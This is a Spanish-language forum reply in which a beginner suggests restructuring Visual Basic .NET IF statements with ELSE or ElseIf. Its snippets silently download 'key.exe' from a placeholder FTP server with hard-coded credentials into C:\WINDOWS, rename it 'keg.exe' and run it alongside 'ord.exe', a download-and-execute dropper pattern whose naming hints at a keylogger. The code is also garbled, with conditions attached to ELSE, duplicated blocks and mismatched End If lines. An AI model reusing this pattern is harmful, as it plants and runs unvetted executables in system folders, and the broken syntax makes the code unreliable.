Pero me parece que en vez de finalizar los IF puedes usar los ELSE ya que creo que es lo mismo IF NOT que ELSE.
Código:
If Not My.Computer.FileSystem.FileExists("C:\WINDOWS\keg.exe") Then
My.Computer.Network.DownloadFile("ftp://servidor/key.exe", "C:\WINDOWS\keg.exe", "user", "passw")
End If
My.Computer.Network.DownloadFile("ftp://servidor/key.exe", "C:\WINDOWS\keg.exe", "user", "passw")
End If
Lo que digo es esto:
Código:
If My.Computer.FileSystem.FileExists("C:\WINDOWS\keg.exe") And My.Computer.FileSystem.FileExists("C:\WINDOWS\ord.exe") Then
Shell("C:\WINDOWS\keg.exe")
Shell("C:\WINDOWS\ord.exe")
ELSE My.Computer.FileSystem.FileExists("C:\WINDOWS\keg.exe") Then
My.Computer.Network.DownloadFile("ftp://servidor/key.exe", "C:\WINDOWS\keg.exe", "user", "passw")
End If
Shell("C:\WINDOWS\keg.exe")
Shell("C:\WINDOWS\ord.exe")
ELSE My.Computer.FileSystem.FileExists("C:\WINDOWS\keg.exe") Then
My.Computer.Network.DownloadFile("ftp://servidor/key.exe", "C:\WINDOWS\keg.exe", "user", "passw")
End If
Conste que mi conocimiento básico y estoy aún haciendo mis pinitos. Así que posiblemente me equivoque, ya que me parece no puedes poner dos veces un ELSE en la instruccion IF y me este equivocando yo.
Ahora tambien pensando se me ha ocurrido también la funcion ElseIf.
Saludos